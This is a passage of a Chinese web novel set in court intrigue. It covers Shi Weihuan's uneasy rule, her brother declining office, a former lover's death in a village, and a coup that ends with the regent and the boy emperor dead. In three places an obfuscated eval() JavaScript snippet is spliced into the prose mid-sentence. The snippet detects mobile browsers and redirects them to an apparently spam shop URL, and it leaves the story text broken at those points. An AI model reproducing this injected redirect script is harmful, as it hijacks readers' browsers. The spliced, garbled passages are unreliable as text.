这般想着,心中更是不忍,想着韩偃的不作为,更是心烦意乱,只好又出了殿去,于宫道上漫无目的地乱走一通,也不许人近身叨扰,连凭雪凭霜都只能远远跟着。 树影斜移,鸟雀四散,她仍是一味木偶般地走着,似乎不知疲惫,脑中的思绪也像飘移的黑影,偏要戏弄她一般,愣是分毫也抓不住。 直到周遭越发昏暗,脚下一绊,她才惊觉已经日迫西山,环顾四周,却分辨不出所在的地方是何处。 无奈将凭雪凭霜叫出来,可二人对这宫中的偏僻地方也不熟悉,师薇欢叹了口气,在四处寻了寻,转过几棵树去,正巧看见一个正在庭院中扫地的宦官,忙上前问路。 那人回身,尚未抬头看她,但见她的衣饰,忙跪下见礼,随即道:“禀长公主,此处是前省侍书院。” “我竟走到了前省么。”师薇欢喃喃道,旋即开口道谢。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306216|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人惶恐,口称“不敢”。师薇欢也懒得多说,正巧凭雪提着灯走过来,她便自己接过灯,向那人道:“我们对此处不甚熟悉,不知道如何回清和殿,不如你来带个路罢。” 那人应下,恭谨起身,抬手指引,随后便落后师薇欢半步,直到将师薇欢送至清和殿,才再次开口告退。 借着清和殿的光亮,师薇欢这才仔细瞧他的样貌,有些惊讶,又有些晃神,缓过神来,道:“如今清和殿一直没有找到合适的人当值,不如你便留下,替了吴怀安的位置罢。” 成宗皇帝去世后,吴怀安似乎认为是自己照看不周,才致以大祸,次日便殉主了。而薛德保等人亦大多死于宫乱,或趁乱离宫。原先在清和殿任职的近黛等人也都莫名没了踪影,于是端木显登基到如今,清和殿便只有几个韩偃安插的宫女和随意提拔上来的几个宦者侍奉。 那人一愣,旋即也未推辞,只道了声“是”。 待进了殿中,灯火明亮,师薇欢才命他抬头,对着他的脸仔细看了看,却又有些失望的样子,只坐下细问道:“你叫什么名字,哪里人,年岁几何,从前都在何处当差?” “小人叫苏遇,塘郡人,年二十八,大化三年入宫,先跟着管事学习宫规,复景元年后蒙昭思皇后恩典,一直在侍书院当差。” “昭思皇后?” “是,殿下。” “苏遇......这‘遇’是哪个‘遇’字?” “知遇的‘遇’。” “这字倒有些意思,是你的本名吗?” “不是。是景宗皇帝赐名。” “你的本名呢?” “苏预,言之不预的‘预’。” “那还是叫回你的本名罢。”师薇欢想了想,突然问:“你是想留在侍书院,还是到清和殿来做总管事?” 苏预原本一直稍低着头回话,闻言一时有些惊诧地抬首看向师薇欢,很快又低下头去,道:“小人但凭殿下做主。” 师薇欢低头沉吟半晌,叹道:“罢了,你且留在清和殿,也不必做什么,就只跟着我便罢。” “是,殿下。” 师薇欢便叫凭霜去为他安排住处。 待苏预等退下后,她起身独自在窗前徘徊许久,眼眸漆黑一片,像两湾无底深潭,连她自己都看不到底。直到师获来向她请示功课,她的脸上才露出些旁的神情,随意哄了他几句,命山枕带他早些去歇息,拿着他临的字帖转到桌前,慢慢寻了张信纸,又自己研了半天墨,才犹豫地起了笔。 良久,“凭雪,送到沉州去,给我三哥。” 减税一事与众臣敲定后,便交由户部推行。又诏以各州府流民,无论留居现处或还归原籍,凡新辟荒田,他人不可占有,尽归垦者永业,更免五载田赋。更令户部派专人至各州府亲传旨意,以免有误。 这两条新律推出后,连宫门前请愿的太学生都少了不少,朝中未潜逃出京的官员办差也算日渐勤勉。师薇欢又从太学中提拔出来几个有“兼济天下”之志的,补上六部的缺,总算使得朝廷看上去正常运转了起来。 师薇欢松了一口气,便更盼着师玘能够回京相助,或鼎力中枢,或如同师霖辅佐端木玦那般,任太傅亲自教导师获,倘若他能接受王爵之位,甚或做摄政王,也不是不可以。 师玘可能不会帮她,但一定不会害她。 86.第 86 章 沉州宅。 这几日官闻霰妯娌三人连同师莞安俱往池州参加安南郡主的女儿贺氏的丧仪,家中的孩子们便撒了欢。下学回来,师步和师子瑜便找出了昨日藏在书架后面的风筝,得意地到姐妹们面前炫耀,还装模作样地念道:“儿童散学归来早——” “人家是‘忙趁东风放纸鸢’,‘东风’是什么意思懂不懂,东风是春天的风,如今可是秋天。”景祯忿忿道。 他是昨晚上才到的沉州,错过了那兄弟两个弄风筝的好戏。 “那有什么。风筝乘风而起,哪管春风秋风?还没下学我便盯着对面酒肆那面旗子,今日风势正好,正是放风筝的好机会。”师子瑜振振有词。 “祯弟弟,你要和我们一起去吗?”师步看出景祯不乐,问道。 “我才不去,我又没有风筝,去做什么?而且我还答应了安家的阿绫姐姐要去帮她送桂花糕。” “安家的阿绫姐姐?”在一旁和师令闻翻花绳的景礼警惕地转过头来,眉头颦起道:“我们才来沉州两日,你又是在哪里认识的安家姐姐?” 景祯一边心虚一边赖皮,一个扭身绕过挡在门前摆弄风筝的师步和师子瑜,笑着跃出门去,小小年纪发出的笑声却愣是被景礼听出来了无赖和浪荡。 师令望替下口渴了的师令闻继续和景礼翻花绳,圆圆的眼睛带着甜软的笑意:“阿礼姐姐别担心,安家的阿绫姐姐已经及笄了,明年便要嫁人了。” 景礼叹了口气,明明也才六岁,却莫名成熟,一边翻绳一边和师令望絮絮叨叨地讲述景祯在吕县和逢州时,跟着二叔景琮如何上天入地,话都说不利索就会给姨姨婶婶姐姐们送花了。 师令望瞧着她那副“长姐如母”的深沉模样,想了想还在吭哧吭哧背千字文的师令璋,心中突然有些纠结,但这莫名其妙的纠结马上就消失了,她看着带着一壶新煮的桂花茶回来的师令闻,释怀想着,她又不是长姐,她是二姐啊。 秋日里天渐短,很快暮云合璧,师步和师子瑜拿着没放起来的风筝垂头丧气地回来了,院子里也渐凉,众人纷纷收拾着准备到堂上用晚饭,这时只看见景祯似一匹黑鬃马驹一样满头大汗地冲进来,拿起小桌上剩的半壶桂花茶猛地灌进肚,又掐着腰弯着身子喘了半天粗气,才从怀里掏出一封信来,问道:“三舅舅,三舅舅呢?” “刚回来,在书房。怎么了?” 景祯将信交给师子瑜,道:“京城来的,大概是送到州府的时候舅舅已经走了,说是非常、非常、非常要紧的信!” 师子瑜听了,也不再多问,忙拿着信跑去找师玘,只留景祯原地“哎唷”着后悔:“早知道跑回来这么累,我就不揽这个活儿了。” 师玘正在书房里四处打量着地方安放他新得的一幅古画,见师子瑜冒冒失失闯进来,还有些不满,再听他说手中的信是京城送来的,脸色不由得骤地一沉。 师子瑜眼见着师玘的样子,胆战心惊地将信恭恭敬敬递给他,便忙不迭走出了书房关上了门,却又忍不住想知道京城又发生了些什么,便假装走远地跺了几步脚,再猫到门前屏气听着书房里的动静。 可直到师玘蓦地推开门使得他揉着头跌坐在地,也没听出什么动静。 师玘见他在这儿,了然地叹了口气,却只问道:“怎么还不去用晚饭?”这些日子为了怕孩子们拘谨,他一向叫人单独将饭菜送到书房,只叫孩子们在前面堂上一块儿热热闹闹地用饭。 “我还不饿嘛。”师子瑜瞧着他没生气,便站起身拍拍屁股跟上他,试着问道:“爹,是小姨母的信吗?信里说的什么啊?” “没什么大事。”师玘神色淡淡,道:“明日我要去一趟京城,你娘她们回来前,你要照顾好兄弟姊妹,莫要贪玩耽误学业,我会叫岳伯监督你们。” “好。”师子瑜懂事地应下,知道再问也问不出什么,何况他本身也没有多好奇朝中的那些事,只不过从前每逢京中来信,多半意味着他们要回京去为谁送丧,因而生出些猜测罢了。 正想着要向师玘告辞去用晚饭,师玘却冷不丁地转过身来,蹲下与他对视,问道:“子瑜,倘若我不再做官,日后只经商为业,使得你从官家子弟变成商人之后,你会怪我吗?” 师子瑜果断地摇了摇头。他其实还不太能分得清“官家子弟”和“商人之后”的分别,只是听私塾的先生提过“士农工商”等语,近年来家中异动他也只是一知半解,但他能感受到师步他们若有若无的悲伤和忧愁。 “只要爹爹不会像叔叔伯伯们一样就好。” 师玘顿了顿,随即温和地笑着摸了摸他的头,道:“爹爹答应你,不会像叔叔伯伯们一样。” 师薇欢提前一日出了宫,久违地睡在留容轩的厢房里。次日一早,天才微微泛起鱼肚白,她便起了身,飞快地梳洗完毕,便开始在偌大的院中坐立不安。 有些日子没有回来,她看着这座宅院倒有些生疏。因着仍有人日日打扫,院子并不显得荒败,却少了人气儿。 师棠欢与端木澈住在京中原先的齐王府,师婷欢前些日子在燕氏族中过继了一个九岁的生母早逝的孩子做嗣子,改名作燕伯祺,心思便慢慢全放到这个孩子身上,便像是昔年燕寂的寡母在那处不大的宅院里一点点带大燕寂一样,闭门谢客了。 师薇欢来回踱步许久,最终还是打开集德堂的门,却没坐在师霖的座位上,只是在角落里寻了一把椅子坐下来,一点一点喝着茶,直到门再次被推开。 “三哥。”她有些局促地起身相迎,师玘犹豫了一刻,最终还是如旧时那般点头回应。 凭雪端来茶,看着师薇欢的眼色又很快退了出去,将门轻掩上。 师玘坐下喝了一口茶,不待师薇欢询问,便开口直言道:“我不会在京城久留。你应该晓得,比起大哥他们,我这些年纵是有些积累,却也大多在沉州,在京城也并没有太多人脉,并不能帮你什么。至于做帝师一事,我才疏学浅,恐难担此重任。何况我只知晓如何做人臣,而不知如何为人君。” 师薇欢早已预料到他会拒绝,沉默了一会儿,才又试探道:“论起来,你是今上的伯父,合该封为亲王,留驻京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306217|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城或外封就藩......” 师玘淡声道:“朝野动荡,如今亲王,难保来日不会重蹈陇西王、闽中王和颍王等人的旧辙。”说及此,他想到什么,双眸中多了几分严肃和认真,叹道:“师家如今子嗣稀少,即便一一封爵,也不会成什么气候。减税令和垦荒令颁行后,起义和匪患都有所缓解,各州郡的流民也逐渐安定下来了,可见寻常百姓若能安稳度日自给自足,便不会选择做亡命之徒。但朝野上下对篡权夺位一事仍旧舆论不止,有些地方还在用立新甚至元安做年号,舆论之‘平息’多是依靠韩偃的亲信暴力镇压,可这样到底不是长久之计......你若要想长治久安,到底还是要让旧朝之人真正意识到淮朝已经灭亡,而渭朝才是天命所向。” 师薇欢点了点头,却又听得师玘接着道:“我这次回来,还有一事。我想辞去沉州太守之职。” “为何?” “我原本也不想科考入仕,只想从商。” 师薇欢猜到原因,心中叹息,也不想和不忍再多纠缠,道:“罢了,既如此,那你便将钥匙拿走,早日离开京城罢。” 她写信邀他回京,本也有一个缘由,是因为师霖回易州前将师家祠堂的钥匙托她移交师玘。 师玘跟着她来到祠堂,祭拜先祖后,接过了钥匙。 出了祠堂,师薇欢始终落后师玘半步走着,低头不言。师玘瞥见地上的影子,心中叹息,转身道:“倘若你支持不住了,还有我们在,不必独自硬撑,保住性命要紧。” 说完,他又思索了片刻,将那钥匙递给师薇欢,道:“我于沉州,不需要这个东西。师家在京的所有家产,还有用这钥匙可以调动的八成私兵,便交由你安排罢。” 师薇欢讶然:“可是这是......” “既然我如今是家主了,便听我的。” “......谢三哥。” 师薇欢突然有些鼻酸。此番过后,师玘在沉州做他的家主,她在宫中支持着师获南面九州,若无意外,便就此割席了。 她吸了吸鼻子,尽力咽下哽咽,道:“京中凶险,此番,我也未告知大姐姐和六姐姐......若无他事,你便趁早回沉州罢。” 师玘点头,看着她不敢抬头的样子,心中涌起哀伤,抬起手来,却只是拍了拍她的肩,便转身离去。 回到宫中时,天色已暗。 花青的长裙沉沉曳地,像是积雨的云坠在鸦青的石板路上。呼吸间存着淡淡的泥土腥气,潮湿像是秋夜的虫鸣,夜里似乎会有一场雨。 宫灯的光影晕在身侧,师薇欢的心像被捅破的窗纸,空落落的,无处安放。 她突然抗拒起了眼前的一切,她希望自己化作一粒尘埃,希望这场雨快点落下。 那把钥匙在她的手中越攥越紧,她似乎觉得手心中涌出湿润,但不知道是汗还是血。 清和殿中的灯火依旧如昨,可暗处的影子却始终像是鬼魅缠绕。师获这几日身上不太舒服,睡得早些,这诺大的大殿便也彻底寂静下来。 直到韩偃叩响殿门。 87.第 87 章 岁序更新,辞去一年旧景。 归县的迎春已经开了几朵,但待到师冉月到绛县时,却赶上了一场春雪。 “上次我来,差不多也是这个时候,只是没有下雪。” “上次比如今,还要再晚些时日。”商信仰躺在榻上,形容枯槁,眼神却温和清明。 师冉月四处看了看,见院中的花枯萎了,杂草倒是更茂盛了些,那棵梧桐树瞧不出来是还未生新芽还是业已枯死,整个院子竟无一丝生气。 “许疾风呢,他不知道你病了么?” “他早死了。被征了兵,死在琅琊了。” 师冉月说不出话来。 她到灶上看了看正在熬的药,却又看到角落里蒙尘的一大袋未熬过的草药,叹了口气,却还是将药端给他,却只放在他床头,问道:“我若不来,你是想要那些草药跟着你进棺材么?你又何苦做这样子给我看呢。” 商信无奈似地干笑了两声,叹道:“我总是瞒不过你。” 师冉月坐在他的榻边,清晰地闻到浓郁苦涩的药味,耳边除却商信时重时轻的呼吸声,便只有不远处炭盆中木炭燃烧的声响。 她还从未这般静谧地,陪着一个人等待他的死亡。 “我死之后,就葬在这院子里就行。那边柜子里还留着二两银子,够买一口棺材。”商信望着屋顶,徐徐交代着,而后又露出些羞赧的神色,看向她的侧颜,道:“麻烦你了,阿琯。” 师冉月转头看着他,笑了笑,道:“你不麻烦我,还能麻烦谁呢?”她反复抿唇,最终还是忍不住,道:“你总是这般,在度州的时候就是这样,明明是你先迈的步,却又总是畏畏缩缩收回脚。”说着,她又自嘲地笑了笑,“说起来我也是这般。好容易因为看见了那些旧信,借着出巡的由头来找你,见到你了却又要矫情自饰,什么话也说不出口了。” 这些年在归县,闲来无事回想过往时,她也忆起过自己年少时这段似真似假的感情。在师吟月焦虑地选择合适的夫婿的时候,在接受了自己的姻缘要建立在整个师家的利益之上的时候,常更哥哥的信的确曾真真切切地成为她缥缈的希冀;在她做好准备嫁给端木玄可心中莫名的焦虑却无人诉说时,他的突然出现也的确曾让她想不顾一切放手一搏;甚至于直到多年后,那些早已陈旧的纸张仍能使她早已如枯木般的心生出些想要萌芽的幻梦。 可午夜梦回,若叫她真走上另外一条与如今截然相反的路,就如他当年问她的那样,她的确会后悔。 甚至于,他对于她,究竟是寄托与执着,还是所谓的爱恋,时至今日,她也分不清。 “你呢,你会后悔吗,明明有机会回去,回到——‘正轨’。” “这天下都已经不姓端木了,后悔又有何用呢?”商信闭上了眼睛。 师冉月背对着他,拼命仰头,泪水却还是断了线般滑落。 许久后,她缓缓起身,活动了下僵硬的四肢,挪步到柜子旁,借着外面的光翻出他的银子,在手中掂量了一下,笑了笑,出了门,与等在转角路旁马车中的音儿一道,打听着找到一个瘸了条腿的老木匠,托他打了口棺材。 “如今没有什么好木材,瞧您这穿着,不是寻常人,若是加三两银子,我将后院那棵给我自己留的柏树砍了给你。” “不必了。”师冉月笑了笑,“就这二两银,能有什么木料就用什么罢。” 辗转了两日,又请人来做了法事,便在第七日时,按着他的遗愿将他埋葬在那处小院中,就在那棵梧桐树下。 盯着墓碑上那寥寥几个字,她又想起师傅问她要刻什么的时候。 “商信之墓——旧友,师容琯立。” 成和赶着两匹老马,一路走走停停,到京城时正赶上清明。 师冉月掀开帘子向外看去,瞧见进城的马车顶上大多系着柳枝,想来是清晨到城外祭祖方归,想了想,向成和道:“我们也寻棵柳树,折些柳枝系在马车上罢。”说着,她又左右打量了一番,道:“就去江边罢,正好叫这两匹老伙计喝点水、吃吃草。” 待马车停下,师冉月才要下去,却被音儿拉住,提醒道:“姑娘,帷帽。” 师冉月顿了顿,道:“这会儿江边也没什么人,何况如今,这京中估计也不会有谁认得我了。”说着,她扶着成和的手臂走下马车,踩过丛丛已经没过脚腕的青草,走到江边的沙地上,深吸了几口气,看着捧着柳条回来的音儿,问道:“我们离开京城,多久了?” 音儿闻言,也愣了愣,看了眼成和,又想了想,道:“算起来,应该是差不多六年罢。” “是吗。六年里,竟能发生这么多事。”师冉月喃喃道。 苍云江滔滔流淌,一如昨日,江边景致却好似已经大不相同。曾经走过或路过的石桥看起来已经破败不堪,对岸的村落也不见烟火。 “那是什么?”师冉月指着一处正在搭建的房屋,奇道。 “好似是原先江浪观的地方。”音儿顺着她手指的方向看过去,道:“他们为了报仇,将童氏的人重修的江浪观又一把火烧了,想来这次是想亲自重新修缮,以慰故人之灵罢。” “故人之灵吗。”师冉月喃喃道。她的嘴角沾染上一丝冷意,面容也不再似方才那般随和放松。但她仍未急着离开江边,甚至好似贪婪地在呼吸着这般逃避着什么而带来的安宁,和过去的六年一样。 太阳又升起了一些,隐隐薄雾消散,师冉月长吸了一口气,转身上了马车。 “去找合月。” 音儿跟着上了马车,坐在师冉月对面,看向她的眼神有些担忧,还有些小心。 师冉月只是侧着些头看向窗外慢慢动起来的风景,一双眼睛像是寒冬的弦月,冷得刺骨。 马车在城东一处狭窄的小巷里停了下来。 师冉月下马车时,看着满地的污泥犹豫了一瞬,寻了一处相对干爽的地方落脚,这才抬眼打量起面前的这处院落,掉漆的木门和溅满泥水与污渍的矮墙,还有挂在墙头的业已枯萎干瘪的藤条。 音儿上前敲了敲门,很快里面便有人应了声。音儿欣喜道:“姑娘,是薄枝的声音!” 师冉月也松了口气,但却仍微微皱着眉,直到薄枝将门打开,迎她们进到院子里,看着院子里还算干净整洁,物件虽少,却都井井有条,师冉月的眉头才略微舒展。 合月正等在屋中,待薄枝阖上门,两人立刻齐齐跪在师冉月身前,道:“夫人,我等保护少主不力,请您责罚。” 师冉月俯身将她们扶起,叹道:“你们的主子是他,不必这般对我。那孩子不信你们,不叫你们近身跟随侍奉,发生那样的事,又怎么能怪你们呢。” 合月起身抬眼时,师冉月才发现她早已泪眼婆娑。她侍奉照顾了端木玦十余年,几乎要把他当作自己的孩子,甚至于比起效忠于端木玄,她更期待着端木玦真正能独当一面时能够为他做更多的事,尽管在他真正有那种能力时,也是在他知道了她的影卫身份后,她开始被疏远,她也未曾有过怨怼,只是希望继续留在宫中,多少能帮到他。 她自知失态,忙低头擦泪,再抬头时已恢复了平静,但道:“近黛已经传信给我们,我们已经联系上了春桃和轻寒,随时可以将二位女少主送出行宫。” 师冉月却道:“这倒不必如此麻烦。”她原本在归县见到近黛,病急乱投医,便与端木玄一道,叫她想办法联系上在行宫的春桃和轻寒,好使得端木汐与端木淇得以出宫。但回京的路上她便想明白,留在行宫中的端木氏的后妃与公主于如今各方势力都没有什么用,倒不如叫师薇欢直接放人来得简单。 “我不日大约还会来找你们,或是派人前来,彼时还需你们尽力。待事情了了,你们便去留自由了。” “夫人放心。” 这是元安政变后师婷欢第一次入宫。 往高处看,红墙碧瓦依旧鳞次栉比、巍巍峨峨,琉璃瓦反射着朝阳的辉光,灿烂得晃眼,像是亘古不变的却蒙了尘的晶石。 这会儿刚下了朝,零零散散的还有几个着官服的朝臣往宫外走。师婷欢一时竟觉得有些无所适从,却又很快为这无所适从感到羞愧,不动声色地吸了口气,便又恢复了往常般泰然自若的样子。 被那个眉眼与师言有些相似的陌生侍者领入清和殿时,她还有些诧异,毕竟依着从前她熟知的规矩,未着命妇服是不能踏入此殿的,但一转念,她是淮朝的县主,于渭朝,她可以说是大长公主,也可以说是寻常民妇,又哪有什么“命妇服”可言呢。 那侍者将她领入偏殿的一处房间,又为她奉上茶,便退了出去。她不动声色地打量了一番这房间的布置,窗边的小几上放着粉瓷的花瓶,里面放着一束有些凌乱却很生机勃勃的野花。案上放着两盘瓜果,都是南方的果子,瞧上去倒不像是用来吃的,只是拿来熏香。房中处处都能看到些精奇的小物件,此外的装潢便是她万分熟悉的留容轩厢房的模样了。 “大姐姐。” 师婷欢应声起身,一时有些无措,欲要行礼,尚未躬身却已被凭雪扶起。 师薇欢浅笑道:“即便要行礼,也该是我给大姐姐行礼。”说着,松开身旁师获的手,将他往前推了推,道:“快唤大姑姑。” “侄儿师获,问大姑姑安。” “好,好,快起来。”师婷欢将他扶起,看着他那肖似师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如今拨不出多余的兵力和人手去管理前朝留下来的苑囿行宫还有端木城等遭刺杀后各地藩王弃印而逃留下来的府邸,无人的便荒废着,有人留下的,便也搁置着未做处理。能借着这个机会一并处置了也是好事。 师婷欢放下心来,道:“我替姑姑,和行宫中的那些人,谢谢你。” 师薇欢却叹道:“行宫中的那些人只是沾了那两位公主的光罢了。这宫中古往今来有多少可怜人,也不乏大好年华却草草了结的,又有谁惦念他们呢。前些日子太后闲来无聊,命人修缮宫中的会仙楼,却在那楼中的戏台子下发现了两具尸骸。听说姑姑在宫中时曾经命人修缮过那楼,想来那两人枉死的时日也不会太久,可若不是有这么个契机,便也不知道何时能重见天日了。” 师婷欢但道:“你如今有孕,便莫要多思了,也最好少去那些偏僻的地界。宫中好些地方阴气重,当心冲撞了什么。” 提及此,师薇欢便说起那日遇见苏预的经过,又问道:“大姐姐可觉得那人的眉眼与谁相似么?” 师婷欢叹了口气,问道:“你想让我带他出宫么?” “若是大姐姐愿意自然再好不过。或者,若是姑姑愿意收留他也好。她当年在嬷嬷手下救过苏预一次,想来合缘。” “你既也喜欢他,为何不将他留在身边呢?我看吴怀安殉主后,这清和殿也没有个领事的,岂不正好?” “那太打眼了。”师薇欢摇头,“他性子良善,入宫前还读过书,奈何天灾人祸才被迫净身入宫。我希望他能活得长久些。” 这话说得郑重,却像是搬来了一块山石压在师婷欢的心上,她眼睁睁看着,却又不知道说些什么好,临了,只轻叹道:“你要想知道他能否活得长久,先得自己活得长久,保重自身,才最要紧。” 师薇欢亲自送她,只道:“这话三哥也对我说过类似的,我晓得。”又看着师婷欢迟迟不能舒展的眉头,笑道:“大姐姐,你今日叹了太多的气了,再叹气便不似你了。” 师婷欢倒觉得有些好笑:“我该是什么样子?” “你该是,胸有成竹,再坚再难都游刃有余的样子。” 她笑开,眉头舒展,“这倒像是在说别人了。” 她将苏预带出宫,却一时想不到该如何妥善安置他,见他能识字,虽沉默寡言,却能看得出是个机敏的,便将城中一处纸铺交给他打理。 “下个月师家庄子里有一批人要迁到逢州去,到时候你再跟着他们走。待年景太平了,你若不想留下,自然也不会有人拦你。”虽说他如今籍契上已是平民,但若是这会儿便给他一笔钱放他自由,简直就是叫他自生自灭了。 “草民多谢夫人恩惠。” 88.第 88 章 不日六月至,万瓦如火龙,三伏起炎阳。 连日来的晴日催着暑气越发喧嚣,即便暮云四合、月上柳梢,仍令人觉得燥热不已,偏得等到夜半三更才能觉得舒爽些。 “外姑祖,我给您带了些凉粉丸子来,配着这薏仁茶,可以消暑安眠。” 师冉月看着燕伯祺亲自将茶点在桌子上摆放好,端起碗勺尝了尝,温柔笑道:“好孩子,你费心了。” 当初知道师婷欢最后收养了一个九岁的孩子做嗣子时,她还有些诧异,如今瞧着他年岁虽小,却孝顺稳重,又肯踏实进学,聪敏内秀又不轻佻,实在是个可靠又可心的。 燕伯祺只道:“这是小辈应当做的。” “你母亲呢,还未回来吗?”往常师婷欢都要与她一同用晚饭,但今日她的侍女飞絮却说她有事外出,请师冉月先行用膳,不必等她。 燕伯祺摇了摇头,却道:“方才青芜姑姑回来过一次,只嘱咐我今晚陪着您,母亲说,但请您放心,无论听到什么声音都不必出去。” 银汤匙划碰在碗边,刺耳的响声勉强使得她从愣怔中抽离。她接过帕子擦了擦嘴角,起身走到院子里。天色已经彻底暗了下去,星子缀在天际,却亮的不那么明晰,似是被忽明忽暗的火光染上了些绯色。耳畔除却夏虫耐不住酷暑的鸣叫,似乎还有忽远忽近的铁器碰撞摩擦的声响,却也听不真切。 “且将府门关紧,除了你母亲回来,莫要放人进来。” 燕伯祺应下,又道:“外姑祖,您且先在院中纳凉,我叫人用艾草熏一熏屋内的蚊虫,一会儿您就可安寝了。” 师冉月点了点头,道:“你也不必一直陪我了,且回去歇息或是温书便是。” 她想着,师婷欢专意嘱咐这孩子来守着她,是怕她一定要去自不量力地手刃韩偃复仇,还是怕她这样一个早该在坟茔里化作白骨的人走在街上被人认出引来罗乱?又或者是,担心她因为韩偃,迁怒于师薇欢,打乱了他们趁机将她从宫里带出来的计划? 宫里人多口杂、防不胜防,即便有心隐瞒,师薇欢有孕的消息还是难免为新党所知晓。那么她生产的时候,无疑就是她最虚弱、她与韩偃最无暇他顾,也是阖宫上下最混乱最有机可乘的时候。若是这样的时候再赶上夜里,那些早早“屈服”于渭朝“淫威”的贰臣或是那些惯会见风使舵的墙头草,全都四散归家、最无防备的时候,简直可以称得上是天时地利人和无一不缺,没有谁会放过这样的机会。 师婷欢和师玘也知道这样的机会。他们早知道,凭着他们所拥有的力量,完全无法与已经暗中蓄力良久的落、白等人相抗衡。因而无论上天这次眷顾于谁,他们都要且也只能趁着这个机会将师薇欢从宫中接出来。她产后虚弱甚至会昏迷,无力想些有的没的,也没有机会与他们再生争执,平白逗留。兴许这就是她能从新党手下活命的唯一一次机会。 天边的火光又盛了些,仿佛永不坠落的烈日肆意灼烧。火焰炙烤着她已经衰老干涩的眼睛,她的身体里也涌起热流,像是自少时便逐渐式微却还将熄未熄的生命之火,淌过半生的长河,又开始复燃起来。 她长久地站在庭中,末了,却只是看着东方将要拂晓的那抹淡黄的天色,长叹了口气,安静地挪动回到屋子里,更衣躺在冰凉的竹席上,装作已经睡了一夜的样子。 天色全明的时候,城中的声音也全然沉寂了下去。 师婷欢披着晨露回到家中时,见燕伯祺等在前院,便明白了。 “姑姑,我叫厨房用鲜虾包了馄饨,您吃些罢。” 师冉月望向师婷欢眼底的疲惫,但看出她身上却很轻快,心下了然,却仍是问道:“韩偃呢?” “被乱箭射死了。” 她心里一下子空下去,又仿佛回到了过往几十年那般,像一朵云,永远没有落脚的地方。 “七妹妹和她的女儿已经送出京城了,闻霰在大周镇等着她们。到那里看着七妹妹的情况,也许在那里叫她坐完月子,也许直接去沉州。”大周县在京城以南七十里,快马快车,今晚前便能赶到,只是要多受些颠簸。不过到了那里,便也真正安全下来了。 “三弟以私兵相携,新党不会再追究七妹妹的去向,只当她死了。” “也罢,也罢。”半晌,师冉月叹道,“辛苦你们了。” 师婷欢抿了抿嘴,没有再多言。她没有说的是,他们的人未能找到师获。据说师薇欢生产时听说白束道带兵逼宫,落桓也不知怎么瞒过了韩偃带了五千兵围住了京城,便命山枕等带着师获顺密道逃出宫去。师家的人守在密道外,却迟迟没有等来人。 只是这般事也不必再与师冉月赘言,平白劳她费心,便也按下不表。 师冉月也懒得再一一追问,左右韩偃死了,她这二年的心事便得以了结了。 隔日她便收拾了东西,准备离开京城,却又闻得师棠欢亦在昨日产下一女,便与师婷欢俱往去看,见那婴孩冰雪可爱,心中倒是也觉得添了几分喜气。这又耽搁了些时日,便与音儿成和两个向师婷欢等告了别。 离开京城前,她却又去了一次合月与薄枝的住处,见她们已经收拾好了细软,也很高兴,又问起她们要去何地,薄枝羞赧道:“我们的亲人早都已经命归黄土了,但也想着落叶归根。近黛姐姐已经先回慕州去了,只盼着能找到烟水姐姐做个伴。找不到也无妨,姐妹几个做个伴,一起终老,也不算孑然一身了。” 师冉月听了,竟也有些心生向往,叹道:“听起来倒比我这般好些。” “夫人何出此言?”薄枝好奇问道,思及旧时在宫中,师冉月与端木玄夫妻间倒也不算太和睦,便小心道:“您还有二位女少主相伴,想来也可贴心了。” 师冉月只是摇头。她与端木玄都不敢再见端木汐与端木淇,只望她们权当父母真是早早逝去,也不想她们得知了真相生恨。她们姐妹二人离宫时,她也未敢去看,只叫合月给春桃和轻寒送去大量金银,托她们至少能照料端木汐与端木淇到出嫁。 “说起来,山枕前两日便也出了京,说是要快马追上春桃姐姐她们一道回慕州。只是合月姐姐伤还未好,如今走路还困难,不然我们便也一起走了。”薄枝叹道。 “合月受伤了?”师冉月疑惑道。 “是那晚入宫接师七姑娘的时候伤的,再细问起来,她也不肯说。不过伤的于我们来说也不算太重,只是她回来时满身是血有些骇人,不过好似大多也不是她的血。我瞧着她虽伤着了,却好像很高兴的样子呢。” 师冉月听说无大碍,便也未再细想。 京城街巷中的血迹又被洗刷了一遍,那晚的血腥与混乱似乎都被那院墙为她隔绝开来,如今听旁人叙说当中景象,也浑如一梦。 她这些年的记性也越发不好,许多事好似隔天便记不清了,忆及往事时,也总分不清是梦还是真。偶尔她听人夸口,说自己是什么“大化政变”、“元安宫乱”的亲历者,更有人要以此修书好能名垂青史,她都只是暗自笑笑。有人瞧着她的岁数,或是听出她的口音是京城来的,想要问些什么,她也都只说记不清了。 她是真记不清了。 渭宁治二年六月十四日,兵部尚书落桓与凉州通判白束道、河间太守沈玄期等逼宫锄奸,杀太尉韩偃、祥符大长公主师薇欢与篡国奸贼等百余人。 幼帝师获失踪,三日后于宫内一枯井中发现其尸首。 诸臣共议,推先齐王世子端木洪为帝,恢复大淮国号,改年号为回元。 